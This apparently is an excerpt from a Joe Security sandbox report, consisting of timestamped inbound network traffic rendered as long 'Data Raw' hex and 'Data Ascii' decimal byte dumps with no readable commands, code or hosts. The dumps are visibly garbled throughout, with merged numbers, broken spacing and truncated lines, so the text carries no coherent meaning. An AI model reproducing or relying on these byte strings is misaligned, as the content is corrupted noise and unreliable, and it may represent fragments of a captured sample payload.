Data Raw: 32 20 35 30 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 39 20 31 31 33 20 31 30 33 20 33 31
20323320 32 30 20 32 32 20 32 31 37 20 31 34 32 20 31 39 38 20 33 35 20 32 32 20 38 37 20 38 36 20 38 37 20 38 30
20 35 30 20 32 33 20 31 36 20 31 31 20 34 31 20 34 39 20 33 39 20 34 36 20 32 37 20 36 35 20 38 34 20 38 35 20 31 33
3020 313637 20 31 39 39 20 32 34 31 20 38 34 20 38 30 20 34 39 20 32 33 20 31 39 20 31 31 20 32 31 20 38 34 20 38
3520 31 303620 38 37 20 31 32 36 20 38 34 20 39 34 20 31 38 36 20 38 36 20 32 35 20 32 31 37 20 35 30 20 35 34 20
38 37 20 36 36 20 31 32 37 20 31 30 39 20 39 35 20 35 30 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37
2031 313120313039 2034 332032392031392031362038372031

Data Ascii: 2 50 48 50 54 84 114 119 113 103 31 23 20 22 217 142 198 35 22 87 86 87 80 50 23 16 11 41 49 39 46 27 65
84 85 130 167 199 241 84 80 49 23 19 11 21 84 85 106 87 126 84 94 186 86 25 217 50 54 87 66 127 109 95 50 48 50 54
84114117 1111094329191687 1

Data Raw: 34 38 20 35 30 20 36 39 20 39 33 20 31 31 35 20 31 31 37 20 31 30 37 20 31 30 37 20 33 31 20 31 31 39 20
323020 33 33 20 37 37 20 39 35 20 36 30 20 37 35 20 31 31 38 20 33 36 20 36 37 20 39 37 20 35 35 20 38 34 20 31 32
30 20 39 38 20 36 34 20 34 39 20 32 30 20 35 34 20 33 37 20 31 31 31 20 36 36 20 39 34 20 37 32 20 37 35 20 31 31 39
2035322039 352031323520 3535203834 2031323020 313231203737 2031343620 3135382033 3120
323820 38 30 20 35 30 20 32 33 20 31 39 20 38 20 32 32 20 38 37 20 38 35 20 38 34 20 38 30 20 34 39 20 38 32 20 31
303520 32303720 35 33 20 32 32 33 20 38 36 20 38 37 20 38 30 20 34 39 20 32 30 20 31 39 20 38 20 32 32 20 38 37
20 38 36 20 38 37 20 38 37 20 38 39 20 31 32 32 20 38 39 20 31 31 39 20 39

Data Ascii: 48 50 69 93 115 117 107 107 31 119 20 33 77 95 60 75 118 36 67 97 55 84 120 98 64 49 20 54 37 111 66 94
7275119 52 95 125 55 84 120 121 77 146 158 31 28 80 50 23 19 8 22 87 85 84 80 49 82 105 207 53 223 86 87 80 49 20
198228786 87 878912289 1199

Data Raw: 30 31 20 31 31 37 20 31 39 20 31 30 32 20 39 38 20 31 34 20 31 30 34 20 34 38 20 35 30 20 35 30 20 35 39
2031313520 31 31 36 20 31 30 39 20 31 31 38 20 33 35 20 36 33 20 38 38 20 38 39 20 32 20 31 31 35 20 31 31 37 20
3130 33 20 31 34 20 31 30 35 20 34 38 20 35 30 20 35 30 20 31 32 30 20 31 32 36 20 31 31 20 35 34 20 31 31 32 20 35
3020 353220 33 33 20 33 38 20 31 30 38 20 35 20 31 31 37 20 31 30 39 20 31 31 32 20 37 36 20 31 30 38 20 35 30 20
353420383020 3130332037 3020313137 2031 3420313034 2034382035 3020353020353920313132
2031 313620313039 20 313138203138203134302032343220323031203137312031392031303020
3938 20 31 37 20 39 30 20 33 35 20 33 35 20 32 39 20 38 33 20 31 32 20 34

Data Ascii: 01 117 19 102 98 14 104 48 50 50 59 115 116 109 118 35 63 88 89 2 115 117 103 14 105 48 50 50 120 126 11
54112 505233381085 117 109 112 76 108 50 54 80 103 70 117 14 104 48 50 50 59 112 116 109 118 18 140 242 201
171191009817 9035352983124

Data Raw: 38 20 33 38 20 32 39 20 38 37 20 31 32 36 20 39 34 20 31 34 39 20 31 31 39 20 35 38 20 31 30 34 20 35 37
20 3533 20 39 32 20 34 33 20 31 33 39 20 31 30 32 20 31 31 33 20 35 30 20 35 31 20 33 36 20 36 20 31 33 31 20 31 31
37 20 31 31 3520 32 32 37 20 32 35 20 32 38 20 33 35 20 35 33 20 31 38 37 20 31 31 38 20 31 31 34 20 31 31 37 20 31
30 38 20 31 32 35 20 35 32 20 33 38 20 35 39 20 33 32 20 38 33 20 39 30 20 34 33 20 31 30 38 20 31 31 32 20 35 36 20
3537 20 35 36 20 34 38 20 31 32 36 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 35 20 32 20 35 37 20 35 30 20 34 35
20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 34 38 20 33 30 20 32 31 20 31 31 34 20
31313720 313033203131 3420343520 3332203139 3120313720

Data Ascii: 8 38 29 87 126 94 149 119 58 104 57 53 92 43 139 102 113 50 51 36 6 131 117 115 227 25 28 35 53 187 118
114117 108 125 52 38 59 32 83 90 43 108 112 56 57 56 48 126 114 117 109 115 2 57 50 45 84 114 117 109 112 50 48 4
83021114117 103 114 4532 191 17

Data Raw: 20 35 31 20 36 35 20 31 38 20 35 34 20 38 34 20 31 31 35 20 39 36 20 36 34 20 31 32 31 20 32 30 20 35 34
20333020 31 32 3520 31 32 37 20 31 31 36 20 31 32 36 20 37 30 20 31 35 31 20 35 36 20 32 37 20 31 39 39 20 34 39
2031 32 34 20 32 33 33 20 31 31 37 20 31 30 39 20 31 31 38 20 34 32 20 32 39 20 35 37 20 31 36 20 39 32 20 39 30 20
3020 31 3039 20 31 31 32 20 35 36 20 32 39 20 35 37 20 32 39 20 38 37 20 31 32 36 20 39 34 20 31 35 38 20 31 32 30
20 32 36 20 33 38 20 35 31 20 35 34 20 38 32 20 31 37 32 20 38 31 20 37 32 20 38 38 20 31 32 36 20 34 38 20 35 30 20
36 30 20 38 39 20 31 31 37 20 39 33 20 32 34 31 20 31 31 32 20 35 30 20 35 34 20 35 39 20 32 32 20 31 36 30 20 38 39
20 31 36 35 20 31 31 35 20 38 38 20 32 30 35 20 34 38 20 35 30 20 34 38 20

Data Ascii: 51 65 18 54 84 115 96 64 121 20 54 30 125 127 116 126 70 151 56 27 199 49 124 233 117 109 118 42 29 57
16 92 90 0 109 112 56 29 57 29 87 126 94 158 120 26 38 51 54 82 172 81 72 88 126 48 50 60 89 117 93 241 112 50 54
59 22 160 89 165 115 88 205 48 50 48

Data Raw: 20 35 30 20 35 38 20 34 30 20 32 37 20 31 30 30 20 38 34 20 31 30 30 20 31 30 35 20 31 34 20 38 39 20 34
38 20 35 30 20 35 30 20 32 31 38 20 31 39 37 20 32 36 20 31 35 20 31 31 33 20 35 30 20 35 38 20 34 37 20 32 37 20 31
3138 20 38 34 20 31 31 20 36 20 31 31 32 20 35 30 20 35 32 20 33 35 20 35 31 20 32 30 36 20 31 31 31 20 38 38 20 31
31 39 20 38 36 20 37 36 20 39 32 20 35 30 20 35 34 20 38 30 20 39 39 20 31 31 32 20 32 34 37 20 31 32 33 20 37 36 20
37 39 20 35 30 20 35 34 20 39 34 20 31 32 36 20 39 34 20 31 30 32 20 39 39 20 35 34 20 32 37 20 32 35 35 20 33 37 20
38 31 20 38 39 20 31 37 34 20 39 36 20 39 31 20 32 31 34 20 37 38 20 39 35 20 35 34 20 38 34 20 31 31 38 20 31 30 30
20 31 30 35 20 31 34 20 39 35 20 34 38 20 35 30 20 35 30 20 32 31 38 20 31

Data Ascii: 50 58 40 27 100 84 100 105 14 89 48 50 50 218 197 26 15 113 50 58 47 27 118 84 11 6 112 50 52 35 51 206
111 88 119 86 76 92 50 54 80 99 112 247 123 76 79 50 54 94 126 94 102 99 54 27 255 37 81 89 174 96 91 214 78 95 54
84 118 100 105 14 95 48 50 50 218 1

Data Raw: 31 31 35 20 39 33 20 34 33 20 31 31 32 20 35 30 20 35 38 20 34 34 20 38 39 20 3537 20 31 31 35 20 31 31
37 2031 30 33 20 31 34 20 36 38 20 34 38 20 35 30 20 35 30 20 31 33 32 20 32 32 37 20 31 31 37 20 31 30 39 20 31 31
332032 36 20 31 31 38 20 35 30 20 35 34 20 39 34 20 31 30 39 20 31 32 34 20 32 20 32 39 20 35 31 20 34 38 20 35 36
20 37 322033 34 20 31 31 34 20 31 31 37 20 31 30 35 20 31 36 30 20 31 32 31 20 34 38 20 35 30 20 35 35 20 31 32 34
20 353220 31 31 37 20 31 30 39 20 31 32 32 20 34 35 20 35 38 20 39 33 20 39 31 20 38 35 20 31 31 34 20 31 32 37 20
31 39 20 36 20 35 30 20 34 38 20 35 34 20 32 33 30 20 32 35 33 20 31 31 34 20 31 31 37 20 31 30 38 20 38 38 20 31 31
36 20 34 38 20 35 30 20 36 30 20 37 35 20 31 32 31 20 32 36 20 30 20 31 31

Data Ascii: 115 93 43 112 50 58 44 89 57 115 117 103 14 68 48 50 50 132 227 117 109 113 26 118 50 54 94 109 124 2 29
5148 56 72 34 114 117 105 160 121 48 50 55 124 52 117 109 122 45 58 93 91 85 114 127 19 6 50 48 54 230 253 114 117
108 88116 48 50 60 75 12126 0 11
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2021-09-27 18:28:01 UTC 3489

2021-09-27 18:28:01 UTC 3493
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2021-09-27 18:28:01 UTC 3512

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 34 20 38 30 20 31 32 34 20 31 31 33 20 31 32 34 20 31 31 37 20 31 36 38 20 37 33 20 31 34 30 20 35 34 20
38 34 20 31 31 35 20 34 20 32 31 31 20 31 31 32 20 35 30 20 34 39 20 39 33 20 31 38 31 20 38 3520 31 31 34 20 31 32
37 20 38 35 20 38 20 35 31 20 34 38 20 35 30 20 37 32 20 33 39 20 31 31 34 20 31 31 37 20 31 30 35 20 31 32 36 20 35
34 20 33 3320 3535 20 31 37 32 20 34 3520 32 30 36 20 31 31 37 20 31 30 39 20 31 31 33 20 36 37 20 31 34 30 20 35
3020 3534 20 38 35 20 32 39 20 32 34 31 20 31 30 38 20 31 31 32 20 35 36 20 38 20 31 30 34 20 35 35 20 38 34 20 31
3134 20313120333020 31313220 353020353220 363020 3530203639 20313139 2032333920323020
36 36 20 35 30 20 34 38 20 3531 20 37 31 20 31 303220 31 31 342031 31

Data Ascii: 4 80 124 113 124 117 168 73 140 54 84 1154 211 112 50 49 93 181 85 114 127 85 8 51 48 50 72 39 114 117
105126 54 3355 172 45 206 117 109 113 67 140 50 54 85 29 241 108 112 56 8 104 55 84 114 11 30 112 50 52 60 50 69
119239 20 66 50 48 51 71 102 114 11

Data Raw: 35 39 20 32 32 39 20 31 31 36 20 31 30 39 20 31 32 32 20 31 39 30 20 31 33 20 35 30 20 35 34 20 38 35 20
323920 34 36 20 31 30 39 20 31 31 32 20 35 36 20 38 20 33 30 20 35 32 20 38 34 20 31 31 34 20 31 31 20 32 34 20 31
3132 20 35 30 20 35 32 20 37 36 20 37 31 20 38 34 20 31 31 34 20 31 31 33 20 32 20 31 38 35 20 35 30 20 34 38 20 35
36 20 31 38 36 20 32 34 20 31 31 34 20 31 31 37 20 31 30 38 20 33 31 20 31 30 35 20 34 38 20 35 30 20 36 30 20 31 30
382031 323420313139203130392031313220 37 3620 36 39 20 3530 20 35 34 20 38 30 20 31 32 20 34 20 31
303920 313132203534 203935203137 30203535 203834 2031323020323439203332203131322035
30 20 34 39 20 39 33 20 31 30 39 20 38 34 20 31 31 34 20 31 32 37 20 38 35

Data Ascii: 59 229 116 109 122 190 13 50 54 85 29 46 109 112 56 8 30 52 84 114 11 24 1125052 76 7184 114 113 2
18550 48 56 186 24 114 117 108 31 105 48 50 60 108 124 119 109 112 76 69 50 54 80 12 4 109 112 54 95 170 55 84
120249 32 112 50 49 93 109 84 114 127 85

Data Raw: 20 35 31 20 39 33 20 38 31 20 38 34 20 31 31 34 20 31 32 37 20 31 37 39 20 38 36 20 32 33 20 32 34 20 31
32 3620 35 34 20 38 34 20 31 32 30 20 31 30 32 20 31 30 36 20 31 31 35 20 37 33 20 33 37 20 35 30 20 35 34 20 38 30
20 39 39 20 31 31 34 20 37 37 20 32 33 33 20 33 30 20 32 32 34 20 34 34 20 33 30 20 31 37 31 20 31 31 34 20 31 31 37
203130372038 38 20 31 32 39 20 34 38 20 35 30 20 34 38 20 31 32 34 20 31 39 20 31 31 37 20 31 30 39 20 31 32 32
20 32 33 36 20 34 38 20 32 34 20 38 39 20 31 39 35 20 35 31 20 31 30 35 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20
353020 3534 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 37 35 20 34 38 20 34 38 20 35 30 20 31 33 20 38 36 20
313134 203131372037 352031313220 353020 34 38 20 31 31 36 20

Data Ascii: 51 93 81 84 114 127 179 86 23 24 126 54 84 120 102 106 115 73 37 50 54 80 99 114 77 233 30 224 44 30
171114 117 107 88 129 48 50 48 124 19 117 109 122 236 48 24 89 195 51 105 109 112 50 48 50 54 84 114 117 109 75
48 48 50 13 86 114 117 75 112 50 48 116

Data Raw: 37 20 37 33 20 31 31 32 20 35 30 20 34 38 20 36 32 20 35 34 20 38 34 20 39 39 20 38 35 20 31 30 39 20 39
342032 32 36 20 34 36 20 32 36 20 32 30 31 20 38 34 20 31 31 34 20 31 31 35 20 37 37 20 34 38 20 34 35 20 34 38 20
3530 20 31 38 36 20 32 34 20 31 31 34 20 31 31 37 20 31 30 38 20 38 38 20 39 37 20 34 39 20 35 30 20 34 38 20 34 35
2036 3220313137 2031303920 3131332036 37 20 31 32 34 20 35 30 20 35 34 20 38 35 20 38 38 20 31 30 32 20
393320313134 20353020 323020353020 3534 20 38 34 20 31 32 36 20 31 31 37 20 31 30 39 20 39 37 20 31 38
2033 20 32 38 20 32 33 30 20 37 34 20 39 30 20 31 33 38 20 31 30 39 20 31 31 32 20 35 32 20 31 36 20 32 30 35 20 32
30312038 34 20 31 31 34 20 32 34 39 20 33 33 20 31 31 32 20 3530 20 34

Data Ascii: 7 73 112 50 48 62 54 84 99 85 109 94 226 46 26 201 84 114 115 77 48 45 48 50 186 24 114 117 108 88 97 49
50 48 4562 117 109 113 67 124 50 54 85 88 102 93 114 50 20 50 54 84 126 117 109 97 18 3 28 230 74 90 138 109 112
52 16 205 201 84 114 249 33 11250 4

Data Raw: 33 20 31 32 30 20 38 34 20 31 31 34 20 31 32 37 20 32 20 31 37 37 20 35 31 20 34 38 20 35 36 20 31 36 20
38 3320 32 39 20 31 38 33 20 31 30 38 20 31 31 32 20 35 36 20 32 32 20 35 33 20 35 32 20 3539 20 31 37 37 20 31 31
36 20 31 30 39 20 31 32 32 20 39 33 20 32 34 34 20 35 31 20 35 34 20 39 34 20 32 39 20 31 38 30 20 31 30 38 20 31 31
32 20 35 36 20 32 32 20 35 33 20 35 32 20 35 39 20 39 33 20 31 31 36 20 31 30 39 20 31 32 32 20 39 33 20 32 34 31 20
35 31 20 35 34 20 39 34 20 38 34 20 31 31 39 20 32 20 36 31 20 35 30 20 34 38 20 35 36 20 32 36 20 37 34 20 38 39 20
31 31 38 20 31 30 32 20 39 31 20 32 34 32 20 35 35 20 39 33 20 32 34 34 20 38 35 20 31 31 34 20 31 32 37 20 37 35 20
31 31 39 20 34 38 20 39 35 20 31 32 37 20 35 34 20 38 34 20 31 32 30 20 39

Data Ascii: 3 120 84 114 127 2 177 51 48 56 16 83 29 183 108 112 56 22 53 52 59 177 116 109 122 93 244 51 54 94 29
180 108 112 56 22 53 52 59 93 116 109 122 93 241 51 54 94 84 119 2 61 50 48 56 26 74 89 118 102 91 242 55 93 244 85
114 127 75119 48 95 127 54 84 120 9

Data Raw: 20 31 31 32 20 35 36 20 36 38 20 31 33 20 35 34 20 38 34 20 31 31 32 20 31 31 31 20 36 34 20 31 31 35 20
323020 32 32 20 32 34 20 37 35 20 31 39 33 20 31 31 34 20 31 31 37 20 31 30 35 20 39 31 20 32 30 32 20 34 38 20 34
39 20 36 20 39 33 20 31 31 34 20 31 30 36 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20 35 34 20 38 34 20 31
313220 31313920 323220 32333020 353020 34 38 20 35 34 20 3533 20 31 32 34 20 3234 37 2031 31 37 20 31
30 39 20 31 32 32 20 37 30 20 31 32 20 35 30 20 35 34 20 38 36 20 31 31 30 20 38 38 20 31 31 30 20 38 36 20 32 30 20
32 36 20 37 39 20 31 36 30 20 38 34 20 31 31 34 20 31 31 33 20 37 30 20 31 33 36 20 35 30 20 35 31 20 32 20 36 33 20
38 34 20 31 30 39 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20

Data Ascii: 112 56 68 13 54 84 112 111 64 115 20 22 24 75 193 114 117 105 91 202 48 49 6 93 114 106 109 112 50 48
5054 84 112 119 22 230 50 48 54 53 124 247 117 109 122 70 12 50 54 86 110 88 110 86 20 26 79 160 84 114 113 70 136
505126384109 117 109 112 50 48

Data Raw: 20 35 34 20 37 31 20 36 36 20 31 31 38 20 31 30 39 20 31 32 37 20 35 30 20 34 38 20 35 30 20 35 38 20 38
342031 31 34 20 31 30 30 20 31 31 31 20 31 30 39 20 34 31 20 32 39 20 35 33 20 31 36 20 34 37 20 32 31 31 20 31 31
37 20 31 30 39 20 31 31 36 20 32 34 20 32 32 20 32 35 20 31 39 33 20 38 34 20 31 31 33 20 36 39 20 31 30 30 20 31 31
32 20 36 31 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 34 20 34 39 20 33 38 20
3330 20 35 33 20 31 31 34 20 38 34 20 39 35 20 31 36 20 32 30 39 20 35 30 20 34 38 20 35 34 20 32 39 20 31 37 32 20
31 31 34 20 31 30 32 20 39 33 20 31 31 35 20 35 30 20 36 33 20 35 30 20 35 34 20 38 34 20 31 32 36 20 31 31 37 20 31
30 39 20 39 37 20 34 38 20 33 39 20 33 36 20 32 36 20 38 33 20 38 34 20 31

Data Ascii: 54 71 66 118 109 127 50 48 50 58 84 114 100 111 109 41 29 53 16 47 211 117 109 116 24 22 25 193 84 113
69 100 112 61 48 50 54 84 114 117 109 114 49 38 30 53 114 84 95 16 209 50 48 54 29 172 114 102 93 115 50 63 50 54
84126 117 109 97 48 39 36 26 83 84 1

Data Raw: 34 39 20 31 31 34 20 31 31 37 20 31 30 35 20 39 32 20 35 35 20 32 33 37 20 31 38 34 20 35 34 20 38 34 20
3131342031 313220 31 31 36 20 39 33 20 35 38 20 32 32 20 33 36 20 33 32 20 31 32 30 20 31 31 36 20 38 33 20 37
30 20 37 39 20 36 33 20 32 37 20 31 39 36 20 35 38 20 31 32 37 20 31 33 38 20 31 32 34 20 31 30 31 20 32 33 34 20 34
36 20 32 39 20 36 32 20 31 36 20 38 32 20 32 39 20 36 34 20 31 30 39 20 31 31 32 20 35 36 20 34 30 20 31 20 31 39 20
313237 20 31 31 33 20 31 32 37 20 37 30 20 31 33 30 20 34 38 20 37 35 20 31 36 36 20 35 34 20 38 34 20 31 31 38 20
313032 20 31 30 35 20 39 37 20 35 34 20 32 38 20 35 36 20 33 39 20 38 30 20 31 31 32 20 31 31 38 20 31 30 37 20 33
3120 32 34 32 20 34 39 20 35 30 20 34 38 20 38 36 20 31 31 36 20 31 31 33

Data Ascii: 49 114 117 105 92 55 237 184 54 84 114 112 116 93 58 22 36 32 120 116 83 70 79 63 27 196 58 127 138 124
101 234 46 29 62 16 82 29 64 109 112 56 40 1 19 127 113 127 70 130 48 75 166 54 84 118 102 105 97 54 28 56 39 80 1
12118 107 31 242 4950 48 86 116 113
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2021-09-27 18:28:01 UTC 3517 IN Data Raw: 39 20 31 31 36 20 32 33 36 20 33 32 20 34 38 20 38 39 20 32 34 36 20 31 31 35 20 31 31 37 20 31 30 37 20
31 37 34 20 35 38 20 33 33 20 35 32 20 33 30 20 32 32 32 20 31 31 34 20 31 31 37 20 31 30 33 20 31 37 32 20 32 33 36
20 39 36 20 34 38 20 37 37 20 32 30 37 20 31 31 34 20 31 31 37 20 31 30 35 20 39 39 20 35 33 20 33 33 20 35 33 20 32
3620 37 3120 39 39 20 31 31 34 20 31 31 31 20 31 31 36 20 39 33 20 32 30 39 20 35 31 20 35 34 20 39 34 20 31 20 31
353720313038 2031313220 35362039 3520323534 20353520383420313136203131392032203231
31203531 2034382035 3220323332203132352038372039 332033332031 31322035302035382035
3720 35322034 37203233 332031313720313039 203131362033
Data Ascii: 9 116 236 32 48 89 246 115 117 107 174 58 33 52 30 222 114 117 103 172 236 96 48 77 207 114 117 105 99
533353267199 114 111 116 93 209 51 54 94 1 157 108 112 56 95 254 55 84 116 119 2 211 51 48 52 232 125 87 93 33
1125058 57 52 47 233 117 109 116 3

2021-09-27 18:28:01 UTC 3521 IN Data Raw: 37 20 31 31 31 20 31 30 30 20 37 39 20 31 35 37 20 35 30 20 35 34 20 38 30 20 31 31 32 20 31 34 20 31 39
352031 31 32 20 35 30 20 35 32 20 33 30 20 33 36 20 38 36 20 39 20 32 31 39 20 31 30 39 20 31 31 32 20 35 34 20 39
3520 32 33 36 20 35 35 20 38 34 20 31 32 30 20 31 31 39 20 31 32 31 20 31 33 20 31 35 36 20 34 38 20 35 30 20 35 30
203836203920323138203130392031313220353420323820333220353220343720323231203131
372031303920 3131362039 33203233382035312035342039342031313220393720313620323233
20 353020 34 38 20 35 34 20 3532 20 34 37 20 31 39 34 20 31 31 37 20 31 30 39 20 31 31 36 20 33 30 20 33 34 20 34
382037 37 20 32 3238 20 31 31 34 20 31 31 37 20 31 30 35 20 33 31 20 32
Data Ascii: 7 111 100 79 157 50 54 80 112 14 195 112 50 52 30 36 86 9 219 109 112 54 95 236 55 84 120 119 121 13 156
48 50 50 86 9 218 109 112 54 28 32 52 47 221 117 109 116 93 238 51 54 94 112 97 16 223 50 48 54 52 47 194 117 109
116 3034 48 77 228 114 117 10531 2

2021-09-27 18:28:01 UTC 3525 IN Data Raw: 37 31 20 32 32 20 31 38 35 20 36 31 20 31 34 31 20 31 34 37 20 31 37 31 20 31 34 32 20 31 30 32 20 32 30
3920353320 323131203231 342032333220 31 3038 20 3139 30 20 32 35 34 20 31 37 38 20 32 30 30 20 36 37
2033 32 2032 30 37 20 31 34 35 20 32 30 38 20 35 39 20 31 38 33 20 32 31 30 20 31 35 38 20 31 32 37 20 32 30 37 20
34 312031333620 313137 2031362039 3620 3534 203230362032 3133203136352031353120323238
203132302031 353020323030 203133342032 3038203320323037 203137 36203232382033342035
322031323320323335203230392032312031363020313631203230332031313320323337203138
3520 3133302032332031323120313138203133302033382031
Data Ascii: 71 22 185 61 141 147 171 142 102 209 53 211 214 232 108 190 254 178 200 67 32 207 145 208 59 183 210
158 127 207 41 136 117 16 96 54 206 213 165 151 228 120 150 200 134 208 3 207 176 228 34 52 123 235 209 21 160
161 203 113 237 185 13023 121 11813038 1

2021-09-27 18:28:01 UTC 3529 IN Data Raw: 20 31 30 31 20 31 30 30 20 32 20 31 30 37 20 31 36 20 31 35 31 20 32 33 20 31 37 36 20 35 39 20 32 30 38
20313337 20 31 34 39 20 31 32 30 20 31 34 31 20 31 34 39 20 31 35 32 20 38 39 20 32 30 34 20 37 34 20 31 31 37 20
37 3020 31 30 33 20 31 38 30 20 31 32 38 20 33 30 20 31 37 35 20 32 31 30 20 31 34 32 20 33 31 20 33 38 20 38 32 20
313834203234 3120353420 32343320383320313937203232342031323220313433203134352032
31302032 323120323439 203138342032 3338 20 37 38 20 32 34 30 20 38 36 20 32 31 38 20 34 38 20 34 35 20
3234 36 20 31 38 31 20 32 33 36 20 37 37 20 33 39 20 31 30 32 20 32 30 31 20 31 32 36 20 32 33 35 20 32 30 39 20 32
333020 31 37 302033 30 20 32 32 30 20 35 36 20 36 34 20 32 34 33 20 36
Data Ascii: 101 100 2 107 16 151 23 176 59 208 137 149 120 141 149 152 89 204 74 117 70 103 180 128 30 175 210 142
31 38 82 184 241 54 243 83 197 224 122 143 145 210 221 249 184 238 78 240 86 218 48 45 246 181 236 77 39 102 201 1
26 235 209 230 170 30 220 56 64 243 6

2021-09-27 18:28:01 UTC 3533 IN Data Raw: 20 31 39 39 20 32 32 30 20 37 38 20 31 34 33 20 32 34 33 20 35 33 20 35 33 20 31 31 34 20 32 33 35 20 32
30 3920 32 34 31 20 39 38 20 31 32 33 20 31 38 30 20 32 32 39 20 31 37 36 20 31 38 33 20 31 39 31 20 32 32 34 20 36
3120 31 32 34 20 35 32 20 31 34 31 20 31 34 37 20 39 20 32 35 30 20 31 35 36 20 39 37 20 31 30 37 20 32 32 30 20 31
32 36 20 32 35 20 32 32 32 20 36 32 20 38 35 20 31 36 20 32 30 35 20 32 31 34 20 38 35 20 32 33 37 20 32 32 20 32 35
34 20 31 38 34 20 31 32 37 20 37 38 20 31 30 33 20 35 36 20 31 39 38 20 31 34 20 31 31 38 20 31 34 33 20 31 34 35 20
31 32 34 20 31 33 20 39 36 20 34 37 20 32 30 38 20 33 33 20 31 31 35 20 31 32 31 20 31 31 38 20 31 33 37 20 32 34 37
2037 3020 31 33 31 20 38 31 20 31 32 32 20 31 20 32 38 20 38 30 20 31 31
Data Ascii: 199 220 78 143 243 53 53 114 235 209 241 98 123 180 229 176 183 191 224 61 124 52 141 147 9 250 156 97
107 220 126 25 222 62 85 16 205 214 85 237 22 254 184 127 78 103 56 198 14 118 143 145 124 13 96 47 208 33 115
121 118 137 247 70 131 81 1221 28 80 11

2021-09-27 18:28:01 UTC 3537 IN Data Raw: 36 34 20 31 31 37 20 32 33 35 20 32 30 39 20 38 36 20 37 30 20 35 20 32 33 32 20 31 39 31 20 32 33 30 20
32 3130 20 32 32 33 20 32 34 30 20 38 37 20 35 35 20 33 39 20 31 35 34 20 38 30 20 35 38 20 32 33 32 20 32 32 32 20
37 34 20 31 35 34 20 34 36 20 32 30 37 20 31 34 35 20 39 32 20 31 39 30 20 30 20 32 34 38 20 31 35 33 20 32 33 34 20
32 35 34 20 31 33 30 20 38 34 20 39 39 20 34 39 20 32 30 34 20 32 33 20 32 30 35 20 32 31 34 20 39 33 20 31 32 30 20
39 36 20 32 30 31 20 32 33 35 20 33 35 20 32 31 32 20 31 38 32 20 38 34 20 34 39 20 38 35 20 35 37 20 31 39 30 20 38
3120 35 37 20 31 35 33 20 34 39 20 32 30 32 20 32 30 36 20 31 37 37 20 32 32 32 20 32 33 33 20 31 37 3520 31 31 30
20 31 38 33 20 31 3531 20 31 36 32 20 37 37 20 32 34 30 20 36 30 20 31 31
Data Ascii: 64 117 235 209 86 70 5 232 191 230 210 223 240 87 55 39 154 80 58 232 222 74 154 46 207 145 92 190 0
248 153 234 254 130 84 99 49 204 23 205 214 93 120 96 201 235 35 212 182 84 49 85 57 190 81 57 153 49 202 206 177
222 233175 110 183 151 162 77 240 60 11

2021-09-27 18:28:01 UTC 3540 IN Data Raw: 32 36 20 31 35 20 31 31 32 20 35 30 20 34 38 20 36 20 33 38 20 38 35 20 31 31 34 20 38 35 20 31 30 39 20
31313220 353020 31 39 20 31 30 33 20 31 30 31 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 34 38
20 34 38 20 35 30 20 35 35 20 33 20 32 30 35 20 32 31 35 20 31 31 34 20 31 32 31 20 34 35 20 34 38 20 35 30 20 35 34
203137 3420 31 31 3520 37 30 20 31 30 39 20 31 31 34 20 35 30 20 34 38 20 35 31 20 35 34 20 38 34 20 31 31 34 20
31 36 3520 31 30 39 20 31 31 32 20 35 30 20 31 31 39 20 35 30 20 35 34 20 38 34 20 31 36 35 20 31 31 37 20 31 30 39
20 31 31 32 20 32 32 36 20 34 39 20 35 30 20 35 34 20 31 35 32 20 31 31 35 20 31 31 37 20 31 30 39 20 31 31 39 20 35
30 20 34 38 20 35 30 20 32 30 30 20 38 35 20 31 31 34 20 31 31 37 20 31 32
Data Ascii: 26 15 112 50 48 6 38 85 114 85 109 112 50 19 103 101 84 114 117 109 112 48 48 50 55 3 205 215 114 121 45
48 50 54 174 115 70 109 114 50 48 51 54 84 114 165 109 112 50 119 50 54 84 165 117 109 112 226 49 50 54 152 115 1
17 109 119 50 48 50 200 85 114 117 12

2021-09-27 18:28:01 UTC 3544 IN Data Raw: 20 33 32 20 34 38 20 36 30 20 35 39 20 31 38 38 20 31 32 36 20 31 30 33 20 31 30 39 20 38 37 20 36 33 20
32 3136 20 36 32 20 34 38 20 38 34 20 34 39 20 31 32 30 20 31 33 33 20 31 32 34 20 35 32 20 34 38 20 31 32 34 20 35
39 20 31 38 38 20 31 32 36 20 31 31 35 20 31 30 39 20 33 36 20 36 33 20 32 31 36 20 36 32 20 34 38 20 38 34 20 31 36
20 31 323020 31 33 33 20 31 32 34 20 35 32 20 34 38 20 39 33 20 35 39 20 31 33 20 31 31 34 20 31 31 35 20 31 30 39
20 32 34 35 20 36 33 20 31 30 35 20 35 30 20 34 38 20 38 34 20 32 35 32 20 31 32 30 20 35 32 20 31 31 32 20 35 32 20
34 38 20 31 36 31 20 35 39 20 31 33 20 31 31 34 20 31 31 35 20 31 30 39 20 32 33 34 20 36 33 20 31 30 35 20 35 30 20
34 38 20 38 34 20 32 31 31 20 31 32 30 20 35 32 20 31 31 32 20 35 32 20 34
Data Ascii: 32 48 60 59 188 126 103 109 87 63 216 62 48 84 49 120 133 124 52 48 124 59 188 126 115 109 36 63 216 62
48 84 16 120 133 124 52 48 93 59 13 114 115 109 245 63 105 50 48 84 252 120 52 112 52 48 161 59 13 114 115 109 234
63 105 50 48 84 211 120 52 112 52 4
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2021-09-27 18:28:01 UTC 3549

2021-09-27 18:28:01 UTC 3553

2021-09-27 18:28:01 UTC 3557

2021-09-27 18:28:01 UTC 3561

2021-09-27 18:28:01 UTC 3565

2021-09-27 18:28:01 UTC 3569

2021-09-27 18:28:01 UTC 3572
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Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 33 20 35 30 20 31 31 31 20 37 39 20 37 20 31 31 37 20 31 32 33 20 31 31 32 20 32 34 33 20 34 35 20 31 35
